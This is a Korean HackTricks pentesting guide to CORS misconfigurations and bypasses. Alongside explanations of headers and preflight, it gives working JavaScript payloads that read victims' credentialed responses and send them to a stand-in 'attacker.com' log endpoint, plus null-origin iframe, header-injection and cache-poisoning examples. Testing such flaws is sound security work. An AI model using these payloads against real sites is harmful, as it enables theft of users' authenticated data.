hacktricks/pentesting-web/cors-bypass.md

# CORS - Misconfigurations & Bypass

<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 제로부터 전문가까지 배우세요</strong>!</summary>

HackTricks를 지원하는 다른 방법:

* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.

</details>

<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

## CORS가 무엇인가요?

Cross-Origin Resource Sharing (CORS) 표준은 **서버가 자산에 액세스할 수 있는 사용자**와 **외부 소스에서 허용된 HTTP 요청 방법**을 정의할 수 있도록 합니다.

**동일 출처 정책**은 **자원을 요청하는 서버**와 **자원을 호스팅하는 서버**가 동일한 프로토콜 (예: `http://`), 도메인 이름 (예: `internal-web.com`), 및 **포트** (예: 80)를 공유해야 한다는 원칙입니다. 이 정책에 따르면 동일한 도메인 및 포트의 웹 페이지만 자원에 액세스할 수 있습니다.

`http://normal-website.com/example/example.html`의 경우 동일 출처 정책의 적용은 다음과 같이 설명됩니다:

| 액세스된 URL                             | 액세스 허용 여부                       |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/`      | 예: 동일한 스키마, 도메인 및 포트       |
| `http://normal-website.com/example2/`     | 예: 동일한 스키마, 도메인 및 포트       |
| `https://normal-website.com/example/`     | 아니요: 다른 스키마 및 포트            |
| `http://en.normal-website.com/example/`   | 아니요: 다른 도메인                     |
| `http://www.normal-website.com/example/`  | 아니요: 다른 도메인                     |
| `http://normal-website.com:8080/example/` | 아니요: 다른 포트\*                     |

\*인터넷 익스플로러는 동일 출처 정책을 시행할 때 포트 번호를 무시하여 이 액세스를 허용합니다.

### `Access-Control-Allow-Origin` 헤더

이 헤더는 **여러 출처**, **`null`** 값 또는 와일드카드 **`*`**를 허용할 수 있습니다. 그러나 **브라우저는 여러 출처를 지원하지 않으며**, 와일드카드 `*`의 사용은 **제한**을 받습니다. (와일드카드는 단독으로 사용되어야 하며, `Access-Control-Allow-Credentials: true`와 함께 사용할 수 없습니다.)

이 헤더는 웹사이트에서 시작된 교차 도메인 자원 요청에 대한 응답으로 **서버에 의해 발급**되며, 브라우저는 자동으로 `Origin` 헤더를 추가합니다.

### `Access-Control-Allow-Credentials` 헤더

**기본적으로**, 교차 출처 요청은 쿠키나 인증 헤더와 같은 자격 증명 없이 이루어집니다. 그러나 교차 도메인 서버는 `Access-Control-Allow-Credentials` 헤더를 **`true`**로 설정하여 자격 증명이 전송될 때 응답을 읽을 수 있도록 허용할 수 있습니다.

`true`로 설정하면 브라우저가 자격 증명 (쿠키, 인증 헤더 또는 TLS 클라이언트 인증서)를 전송합니다.
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```

```javascript
fetch(url, {
credentials: 'include'
})
```

```javascript
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### CSRF 사전 요청

### 교차 도메인 통신에서 사전 요청 이해

특정 조건 하에서 교차 도메인 요청을 시작할 때, **표준이 아닌 HTTP 메소드**(HEAD, GET, POST 이외의 것)를 사용하거나 새로운 **헤더**를 도입하거나 특별한 **Content-Type 헤더 값**을 사용하는 경우, 사전 요청이 필요할 수 있습니다. 이 사전 요청은 **`OPTIONS`** 메소드를 활용하여 서버에게 다가오는 교차 출처 요청의 의도를 알리며 사용할 HTTP 메소드와 헤더를 포함합니다.

**교차 출처 자원 공유 (CORS)** 프로토콜은 이 사전 확인을 강제하여 요청된 교차 출처 작업의 실행 가능성을 결정하며 허용된 메소드, 헤더, 출처의 신뢰성을 확인합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해를 위해서는 [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)에서 제공하는 포괄적인 가이드를 참조하십시오.

**사전 요청의 부재가 응답이 인가 헤더를 포함해야 하는 요구 사항을 없애지 않는다는 점**에 주목하는 것이 중요합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청으로부터의 응답을 처리하는 능력이 제한됩니다.

다음은 `PUT` 메소드와 `Special-Request-Header`라는 사용자 정의 헤더를 사용하기 위한 사전 요청의 예시를 고려해보십시오:
```
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
다음은 서버가 허용된 메소드, 허용된 출천지, 그리고 다른 CORS 정책 세부사항을 나타내는 헤더를 반환할 수 있습니다. 아래에 표시된 것처럼:
```markdown
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: 이 헤더는 실제 요청 중에 사용할 수 있는 헤더를 지정합니다. 서버에서 클라이언트로부터의 요청에서 허용된 헤더를 나타내기 위해 설정됩니다.
* **`Access-Control-Expose-Headers`**: 이 헤더를 통해 서버는 간단한 응답 헤더 외에 응답의 일부로 노출될 수 있는 헤더에 대해 클라이언트에게 알립니다.
* **`Access-Control-Max-Age`**: 이 헤더는 사전 플라이트 요청의 결과를 캐시할 수 있는 시간을 나타냅니다. 서버는 사전 플라이트 요청에 의해 반환된 정보가 재사용될 수 있는 최대 시간(초)을 설정합니다.
* **`Access-Control-Request-Headers`**: 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용하려는 HTTP 헤더에 대해 서버에 알립니다.
* **`Access-Control-Request-Method`**: 또한 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용할 HTTP 메소드를 나타내기 위해 설정됩니다.
* **`Origin`**: 이 헤더는 브라우저에 의해 자동으로 설정되며, 교차 출처 요청의 출처를 나타냅니다. 서버는 CORS 정책에 따라 들어오는 요청을 허용할지 거부할지 판단하는 데 사용됩니다.

**참고로 일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) GET/POST 요청에서는 사전 플라이트 요청이 전송되지 않습니다** (요청이 **직접** 전송됨), 그러나 **응답의 헤더/본문에 액세스하려면** _Access-Control-Allow-Origin_ 헤더를 포함해야 합니다.\
**따라서 CORS는 CSRF에 대해 보호하지 않지만 도움이 될 수 있습니다.**

### **로컬 네트워크 요청 사전 플라이트 요청**

1. **`Access-Control-Request-Local-Network`**: 이 헤더는 클라이언트의 요청에 포함되어 있어서, 조회가 로컬 네트워크 리소스를 대상으로 한 것임을 나타냅니다. 서버에게 요청이 로컬 네트워크 내에서 발생했음을 알리는 표식으로 작용합니다.
2. **`Access-Control-Allow-Local-Network`**: 응답에서 서버는 요청된 리소스가 로컬 네트워크 외부의 엔티티와 공유할 수 있도록 허용된다는 것을 전달하기 위해 이 헤더를 활용합니다. 이는 서로 다른 네트워크 경계를 횡단하여 리소스를 공유할 수 있도록 하며, 보안 프로토콜을 유지하면서 제어된 액세스를 보장합니다.

**로컬 네트워크 요청을 허용하는 유효한 응답**은 응답에 `Access-Controls-Allow-Local_network: true` 헤더도 포함되어야 합니다:
```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
{% hint style="warning" %}
**주의**  
**0.0.0.0** IP는 로컬호스트에 액세스하기 위한 요구 사항을 **우회**하는 데 사용됩니다. 이 IP 주소는 "로컬"로 간주되지 않기 때문입니다.

로컬 네트워크 요구 사항을 **우회**하는 것도 가능합니다. 이를 위해 로컬 엔드포인트의 **공개 IP 주소**(예: 라우터의 공개 IP)를 사용할 수 있습니다. 몇 가지 경우에는 **공개 IP**에 액세스하더라도, **로컬 네트워크**에서 액세스하는 경우 허용될 수 있습니다.
{% endhint %}

## Exploitable misconfigurations

`Access-Control-Allow-Credentials`를 **`true`**로 설정하는 것이 대부분의 **실제 공격**에 대한 선행 조건임이 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 보내고 응답을 읽을 수 있도록 허용하여 공격의 효과를 향상시킵니다. 이를 통해 브라우저에 요청을 보내는 것보다 사용자의 쿠키를 활용하는 이점이 줄어듭니다.

### Exception: Exploiting Network Location as Authentication

피해자의 네트워크 위치가 인증 수단으로 작용하는 예외가 있습니다. 이를 통해 피해자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하여 인트라넷 애플리케이션에 액세스할 수 있습니다. 이 방법은 DNS 리바인딩과 유사한 영향을 공유하지만 더 간단하게 악용할 수 있습니다.

### Reflection of `Origin` in `Access-Control-Allow-Origin`

`Origin` 헤더의 값이 `Access-Control-Allow-Origin`에 반영되는 실제 시나리오는 이 두 헤더를 결합하는 제한으로 인해 이론적으로 불가능합니다. 그러나 여러 URL에 대해 CORS를 활성화하려는 개발자는 `Origin` 헤더의 값을 복사하여 동적으로 `Access-Control-Allow-Origin` 헤더를 생성할 수 있습니다. 이 접근 방식은 취약점을 도입할 수 있으며, 특히 공격자가 합법적으로 보이도록 설계된 도메인을 사용할 때 검증 논리를 속일 수 있습니다.
```html
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
```
### `null` 오리진 악용

`null` 오리진은 리디렉션이나 로컬 HTML 파일과 같은 상황을 위해 지정된 곳으로, 독특한 위치를 가지고 있습니다. 일부 애플리케이션은 이 오리진을 로컬 개발을 용이하게 하기 위해 화이트리스트에 추가하는데, 이로 인해 샌드박스된 iframe을 통해 웹사이트가 `null` 오리진을 모방하여 CORS 제한을 우회할 수 있습니다.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### 정규 표현식 우회 기법

도메인 화이트리스트를 만나면, 공격자의 도메인을 화이트리스트에 추가하거나 서브도메인 탈취 취약점을 악용하는 등 우회 기회를 테스트하는 것이 중요합니다. 또한, 도메인 유효성 검사에 사용되는 정규 표현식은 도메인 명명 규칙의 세부 사항을 간과할 수 있어 추가적인 우회 기회를 제공할 수 있습니다.

### 고급 정규 표현식 우회

정규식 패턴은 일반적으로 알파벳, 점(.), 하이픈(-) 문자에 집중하여 다른 가능성을 간과합니다. 예를 들어, 브라우저와 정규식 패턴에서 다르게 해석되는 문자를 포함한 도메인 이름은 보안 검사를 우회할 수 있습니다. Safari, Chrome 및 Firefox가 서브도메인의 밑줄 문자를 처리하는 방식은 이러한 차이가 도메인 유효성 검사 논리를 우회하는 데 어떻게 악용될 수 있는지 보여줍니다.

**이 우회 검사에 대한 자세한 정보 및 설정:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **및** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (284).png>)

### 서브도메인 내 XSS로부터

개발자들은 종종 CORS 악용에 대비하기 위해 방어 메커니즘을 구현하여 정보 요청이 허용된 도메인을 화이트리스트에 추가합니다. 그러나 이러한 예방 조치에도 불구하고 시스템의 보안은 완벽하지 않을 수 있습니다. 화이트리스트에 있는 도메인 중 취약한 서브도메인 하나라도 존재하면 XSS(Cross-Site Scripting)와 같은 다른 취약점을 통해 CORS 악용의 문을 열 수 있습니다.

예를 들어, `requester.com` 도메인이 다른 도메인인 `provider.com`에서 리소스에 액세스할 수 있도록 화이트리스트에 추가된 시나리오를 고려해보겠습니다. 서버 측 구성은 다음과 같을 수 있습니다:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}
```
이 설정에서 `requester.com`의 모든 하위 도메인이 액세스를 허용합니다. 그러나 `sub.requester.com`과 같은 하위 도메인이 XSS 취약점으로 침해당하면 공격자가 이 취약점을 활용할 수 있습니다. 예를 들어, `sub.requester.com`에 액세스 권한이 있는 공격자는 XSS 취약점을 악용하여 CORS 정책을 우회하고 `provider.com`의 리소스에 악의적으로 액세스할 수 있습니다.

### **서버 측 캐시 독려**

[**이 연구에서**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

HTTP 헤더 삽입을 통해 서버 측 캐시 독려를 악용함으로써 저장된 Cross-Site Scripting (XSS) 취약점을 유발할 수 있습니다. 이 시나리오는 응용 프로그램이 `Origin` 헤더를 비법 문자로 살균하지 않을 때 발생하며, 특히 Internet Explorer 및 Edge 사용자에게 취약점을 만들어냅니다. 이러한 브라우저는 (0x0d)을 합법적인 HTTP 헤더 종결자로 취급하여 HTTP 헤더 삽입 취약점을 유발합니다.

다음과 같이 `Origin` 헤더가 조작된 요청을 고려해보십시오:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
인터넷 익스플로러와 엣지는 응답을 다음과 같이 해석합니다:
```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
직접적으로 취약점을 악용하여 웹 브라우저가 잘못된 헤더를 보내는 것은 불가능하지만, Burp Suite와 같은 도구를 사용하여 수동으로 생성된 조작된 요청은 서버 측 캐시가 응답을 저장하고 다른 사람에게 무심코 제공할 수 있습니다. 조작된 페이로드는 페이지의 문자 집합을 UTF-7로 변경하는 것을 목표로 하며, 이는 특정 상황에서 스크립트로 실행될 수 있는 문자를 인코딩할 수 있는 능력으로 인해 XSS 취약점과 자주 관련이 있습니다.

저장된 XSS 취약점에 대한 자세한 내용은 [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)를 참조하십시오.

**참고**: HTTP 헤더 삽입 취약점의 악용, 특히 서버 측 캐시 오염을 통해 사용자가 제공한 모든 입력(포함하여 HTTP 헤더)을 유효성 검사하고 살균하는 것의 중요성을 강조합니다. 이러한 취약점을 방지하기 위해 입력 유효성 검사를 포함한 견고한 보안 모델을 항상 사용하십시오.

### **클라이언트 측 캐시 오염**

[**이 연구에서**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

이 시나리오에서는 적절한 인코딩 없이 사용자 지정 HTTP 헤더의 내용을 반영하는 웹 페이지의 인스턴스가 관찰됩니다. 구체적으로, 웹 페이지는 `X-User-id` 헤더에 포함된 내용을 다시 반영하며, 이는 로드 시에 JavaScript 코드를 실행하도록 설계된 SVG 이미지 태그를 포함할 수 있습니다.

Cross-Origin Resource Sharing (CORS) 정책은 사용자 지정 헤더를 보낼 수 있도록 합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 직접 렌더링되지 않는 경우, 이러한 삽입의 유틸리티는 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. `Vary: Origin` 헤더가 지정되지 않으면 악의적인 응답이 브라우저에 의해 캐시될 수 있습니다. 결과적으로 이 캐시된 응답은 URL로 이동할 때 직접 렌더링되어 초기 요청 시 직접 렌더링이 필요하지 않습니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 향상시킵니다.

이 공격을 설명하기 위해 JavaScript 예제가 제공되었으며, 이는 JSFiddle을 통해 웹 페이지의 환경에서 실행되도록 설계되었습니다. 이 스크립트는 간단한 작업을 수행합니다: 악의적인 JavaScript를 포함하는 사용자 지정 헤더를 포함한 지정된 URL로 요청을 보냅니다. 성공적인 요청 완료 후, 대상 URL로 이동을 시도하며, 응답이 `Vary: Origin` 헤더를 올바르게 처리하지 않고 캐시된 경우 주입된 스크립트의 실행을 유도할 수 있습니다.

다음은 이 공격을 실행하는 데 사용된 JavaScript의 요약된 분석입니다:
```html
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
## 우회

### XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, 또는 Cross-Site Script Inclusion으로도 알려진 이 취약점은 script 태그를 사용하여 리소스를 포함할 때 동일 출처 정책(SOP)이 적용되지 않는 사실을 악용하는 유형의 취약점입니다. 이는 스크립트가 다른 도메인에서 포함될 수 있어야 한다는 필요 때문입니다. 이 취약점을 통해 공격자는 script 태그를 사용하여 포함된 모든 콘텐츠에 액세스하고 읽을 수 있습니다.

이 취약점은 특히 동적 JavaScript 또는 JSONP(JSON with Padding)의 경우에 중요해지며, 특히 쿠키와 같은 환경 권한 정보가 인증에 사용될 때 더욱 중요해집니다. 다른 호스트에서 리소스를 요청할 때 쿠키가 포함되어 공격자에게 접근 가능해집니다.

이 취약점을 이해하고 완화하기 위해 [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)에서 제공되는 BurpSuite 플러그인을 사용할 수 있습니다. 이 플러그인은 웹 애플리케이션에서 XSSI 취약점을 식별하고 해결하는 데 도움이 될 수 있습니다.

[**여기에서 다양한 유형의 XSSI 및 그들을 어떻게 악용하는지 자세히 알아보세요.**](xssi-cross-site-script-inclusion.md)

요청에 **`callback`** **매개변수**를 추가해 보세요. 페이지가 데이터를 JSONP로 보내도록 준비되어 있을 수 있습니다. 이 경우 페이지는 `Content-Type: application/javascript`로 데이터를 다시 보내며 이는 CORS 정책을 우회합니다.

![](<../.gitbook/assets/image (856).png>)

### 쉬운 (의미 없는?) 우회

`Access-Control-Allow-Origin` 제한을 우회하는 한 가지 방법은 웹 애플리케이션에 요청하여 대신 응답을 보내도록 하는 것입니다. 그러나 이 시나리오에서 최종 피해자의 자격 증명은 다른 도메인으로 요청이 이루어지기 때문에 전송되지 않습니다.

1. [**CORS-escape**](https://github.com/shalvah/cors-escape): 이 도구는 요청과 함께 헤더를 전달하고 Origin 헤더를 요청된 도메인과 일치하도록 위조하는 프록시를 제공합니다. 이는 CORS 정책을 효과적으로 우회합니다. XMLHttpRequest와 함께 사용하는 예시는 다음과 같습니다:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): 이 도구는 요청을 프록시하는 대안적인 방법을 제공합니다. 요청을 그대로 전달하는 대신 서버가 지정된 매개변수로 자체 요청을 수행합니다.

### Iframe + 팝업 우회

`e.origin === window.origin`과 같은 CORS 확인을 우회하기 위해 **iframe을 생성**하고 **새 창을 열어** 우회할 수 있습니다. 자세한 내용은 다음 페이지에서 확인할 수 있습니다:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### TTL을 통한 DNS 리바인딩

TTL을 통한 DNS 리바인딩은 DNS 레코드를 조작하여 특정 보안 조치를 우회하는 기술입니다. 작동 방식은 다음과 같습니다:

1. 공격자가 웹 페이지를 생성하고 피해자가 해당 페이지에 액세스하도록 합니다.
2. 공격자는 자신의 도메인의 DNS(IP)를 피해자의 웹 페이지를 가리키도록 변경합니다.
3. 피해자의 브라우저는 DNS 응답을 캐시하며, DNS 레코드가 유효한 기간을 나타내는 TTL(Time to Live) 값을 가질 수 있습니다.
4. TTL이 만료되면 피해자의 브라우저는 새로운 DNS 요청을 수행하며, 이를 통해 공격자는 피해자의 페이지에서 JavaScript 코드를 실행할 수 있습니다.
5. 피해자의 IP를 제어하면서 공격자는 피해자로부터 쿠키를 전송하지 않고도 피해자로부터 정보를 수집할 수 있습니다.

이 기술은 낮은 TTL 값으로도 즉시 이 기술을 악용하는 것을 방지할 수 있는 브라우저의 캐싱 메커니즘이 있음을 유의해야 합니다.

DNS 리바인딩은 피해자가 수행하는 명시적 IP 확인을 우회하는 데 유용하거나 사용자 또는 봇이 동일한 페이지에 오랜 기간 머무르는 시나리오에 유용할 수 있습니다.
### 기타 일반적인 우회 방법

* **내부 IP가 허용되지 않는 경우**, **0.0.0.0을 금지하는 것을 잊을 수 있음** (Linux 및 Mac에서 작동)
* **내부 IP가 허용되지 않는 경우**, **로컬호스트에 대한 CNAME**으로 응답 (Linux 및 Mac에서 작동)
* **내부 IP가 DNS 응답으로 허용되지 않는 경우**, www.corporate.internal과 같은 **내부 서비스에 대한 CNAME**으로 응답할 수 있음.

### DNS Rebidding 무기화

이전 우회 기술 및 다음 도구 사용 방법에 대한 자세한 정보는 [Gerald Doussot - DNS Rebinding 공격 상태 및 원점의 특이성 - DEF CON 27 컨퍼런스](https://www.youtube.com/watch?v=y9-0lICNjOQ)에서 확인할 수 있습니다.

[**`원점의 특이성`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 이 도구에는 공격 서버 DNS 이름의 IP 주소를 대상 기계의 IP 주소로 재바인딩하고 대상 기계의 취약한 소프트웨어를 공격하는 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.

### DNS Rebinding에 대한 실제 보호

* 내부 서비스에서 TLS 사용
* 데이터에 액세스하기 위해 인증 요청
* Host 헤더 유효성 검사
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): 공개 서버가 내부 서버에 액세스하려는 경우 항상 사전 플라이트 요청을 보내는 제안

## **도구**

**CORS 정책에서 잘못된 구성을 퍼징**

* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
* [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne)

## 참고 자료

* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)

<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

<details>

<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

HackTricks를 지원하는 다른 방법:

* **회사를 HackTricks에서 광고하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

</details>